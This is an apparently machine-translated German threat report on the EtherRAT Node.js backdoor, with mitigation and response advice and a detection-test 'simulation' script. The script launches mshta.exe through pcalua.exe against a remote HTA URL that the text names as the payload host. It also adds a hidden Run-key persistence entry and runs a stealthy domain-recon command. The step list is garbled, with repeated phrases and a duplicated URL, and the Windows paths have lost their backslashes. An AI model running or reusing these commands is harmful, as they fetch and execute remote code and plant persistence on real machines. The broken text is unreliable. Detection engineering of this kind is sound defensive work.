EtherRAT & SYS_INFO Modul: C2 über Ethereum (EtherHiding), Zielauswahl, CDN-ähnliche Beacons

Zusammenfassung

EtherRAT ist eine Node.js-Backdoor, die ihre Command-and-Control-Endpunkte aus Ethereum-Smart-Contracts unter Verwendung eines „EtherHiding“-Ansatzes ermittelt. Es passt sich normalem Webverkehr an, indem es Beacons so formt, dass sie harmlosen CDN-Anfragen ähneln, während es auf wertvolle Daten wie Kryptowährungs-Wallets und Cloud-Anmeldedaten abzielt. Der anfängliche Zugriff erfolgt häufig durch Social Engineering im ClickFix-Stil oder gefälschte IT-Support-Köder, die bösartige HTA-Ausführungen über pcalua.exe und mshta.exe auslösen.

Untersuchung

Die eSentire Threat Response Unit beobachtete eine mehrstufige Loader-Kette, die einen AES-256-CBC-Entschlüsselungs-Workflow, Persistenz über einen HKCU Run-Registrierungseintrag und ein SYS_INFO-Modul umfasst, das für umfassende Host-Profilerstellung verantwortlich ist. EtherRAT kontaktiert mehrere öffentliche Ethereum-RPC-Anbieter, um den relevanten Smart Contract zu lokalisieren, leitet dann CDN-ähnliche URLs ab und fragt sie nach Aufgaben und nachfolgenden Befehlen ab und verstärkt so seine Tarnung als „legitimer Verkehr“.

Minderung

Verwenden Sie AppLocker oder WDAC, um pcalua.exe und mshta.exe zu blockieren oder streng zu kontrollieren, und beschränken Sie den Windows-Ausführen-Dialog mithilfe von Gruppenrichtlinien. Wo möglich, beschränken oder blockieren Sie den Zugriff auf bekannte öffentliche Crypto-RPC-Infrastrukturen und alarmieren Sie bei unerwarteter Ethereum-RPC-Nutzung von Endpunkten, die diese nicht benötigen. Setzen Sie Endpunktkontrollen ein, die Node.js-basierte Backdoors erkennen können, und überwachen Sie abnormale Beaconing-Muster, die CDN-Abrufverhalten zu den identifizierten Domains nachahmen.

Reaktion

Wenn EtherRAT-Aktivitäten entdeckt werden, isolieren Sie den Endpunkt, beenden Sie den laufenden Prozess und entfernen Sie den HKCU Run-Persistenzeintrag sowie alle abgelegten Artefakte. Führen Sie eine vollständige forensische Untersuchung durch, um sicherzustellen, dass keine zusätzlichen Nutzlasten bereitgestellt wurden, und setzen Sie exponierte Anmeldedaten zurück – wobei die Geheimnisse von Kryptowährungs-Wallets und Cloud-Service-Schlüsseln Priorität haben. Weiten Sie die Jagd über die Umgebung hinweg auf ähnliche Ethereum-RPC-Anfragen und CDN-ähnliches Abfrageverhalten aus, um das potenzielle Ausbreitungsgebiet festzustellen.

Simulationsausführung

Voraussetzung: Der Telemetrie- und Baseline-Pre-flight-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Gegnertechnik (TTP), die dazu bestimmt ist, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.

• Angriffsverlauf & Befehle:

  1. Erster Zugang – ClickFix Dropper: Der Angreifer nutzt einen bösartigen ClickFix-Installer, der ein verstecktes cmd.exe ausführt, das pcalua.exe.
  2. aufgerufen wird, um pcalua.exe gegen eine remote HTA-Datei, die bei gegen eine remote HTA-Datei, die bei https://www-flow-submission-management.shepherdsestates.uk/shep.hta https://www‑flow‑submission‑management.shepherdsestates.uk/shep.htagehostet wird, zu starten. Dieses HTA-Skript lädt die EtherRAT-Nutzlast.
  3. Einrichtung der Persistenz: Der Dropper fügt einen Run Registrierungseintrag hinzu unter HKCUSoftwareMicrosoftWindowsCurrentVersionRun , der auf eine verkettete conhost.exe → node.exe Ausführungskette zeigt und sicherstellt, dass die Malware beim Benutzerlogin startet.
  4. Domänenerkundung: Parallel dazu wird ein PowerShell-One-Liner ausgeführt, um den Domänennamen des Computers zu ermitteln, was dem Angreifer signalisiert, dass der Host der Domäne beigetreten ist.

  Alle drei Befehlszeilen werden aus einem einzigen versteckten cmd.exe ausgeführt, das der Sigma-Regel entspricht Indikator1/Indikator2 or Indikator3 Kombination.

• Regressionstest-Skript: Das folgende Skript reproduziert die genauen Befehlszeilen (benutzerspezifische Pfade werden über Umgebungsvariablen aufgelöst).

  # -------------------------------------------------------------
  # EtherRAT Erste Zugangssimulation – PowerShell-Wrapper
  # -------------------------------------------------------------
  $username = $env:USERNAME
  $htaUrl = "https://www-flow-submission-management.shepherdsestates.uk/shep.hta"
  $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun'
  $runValueName = '0c939bf7ae8f'
  $conhostPath = "$env:WINDIRSystem32conhost.exe"
  $nodePath = "C:Users$usernameAppDataLocalVZM5DHxgYbxqnode.exe"
  $payloadBin = "C:Users$usernameAppDataLocalVZM5DHTlHAiIlxoF.bin"
  
  # 1. Indikator 1 – pcalua -> mshta
  $cmd1 = "C:Windowssystem32cmd.exe /min /c `"pcalua.exe -a mshta.exe -c $htaUrl`""
  Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/min /c `"pcalua.exe -a mshta.exe -c $htaUrl`"" -WindowStyle Hidden
  
  # 2. Indikator 2 – Registrierungs-Run-Schlüssel mit Conhost-Kette
  $regCommand = "reg add `"HKCUSoftwareMicrosoftWindowsCurrentVersionRun`" /v `"$runValueName`" /t REG_SZ /d `"$conhostPath --headless `"$nodePath`" `"$payloadBin`"`" /f"
  $cmd2 = "C:Windowssystem32cmd.exe /d /s /c `"$regCommand`""
  Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$regCommand`"" -WindowStyle Hidden
  
  # 3. Indikator 3 – PowerShell-Domänenabfrage
  $psCommand = "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command `"(Get-WmiObject Win32_ComputerSystem).Domain`""
  $cmd3 = "C:Windowssystem32cmd.exe /d /s /c `"$psCommand`""
  Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$psCommand`"" -WindowStyle Hidden
  
  Write-Host "`n[+] Simulationsbefehle ausgegeben. SIEM auf entsprechende Warnmeldungen prüfen."

• Bereinigungskommandos: Entfernen Sie den Registrierungseintrag und löschen Sie alle von der Simulation erstellten Dateien.

  # -------------------------------------------------------------
  # Bereinigung – Entfernen von Run-Schlüssel und temporären Dateien
  # -------------------------------------------------------------
  $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun'
  $runValueName = '0c939bf7ae8f'
  
  # Löschen des Run-Schlüsselwertes
  if (Test-Path $runKeyPath) {
      Remove-ItemProperty -Path $runKeyPath -Name $runValueName -ErrorAction SilentlyContinue
      Write-Host "[+] Registrierungs-Run-Wert $runValueName entfernt"
  }
  
  # Entfernen von Restdateien (falls sie erstellt wurden)
  $paths = @(
      "$env:TEMPbenign.txt"               # von Baseline (optional)
  )
  foreach ($p in $paths) {
      if (Test-Path $p) { Remove-Item $p -Force }
  }
  
  Write-Host "[+] Bereinigung abgeschlossen."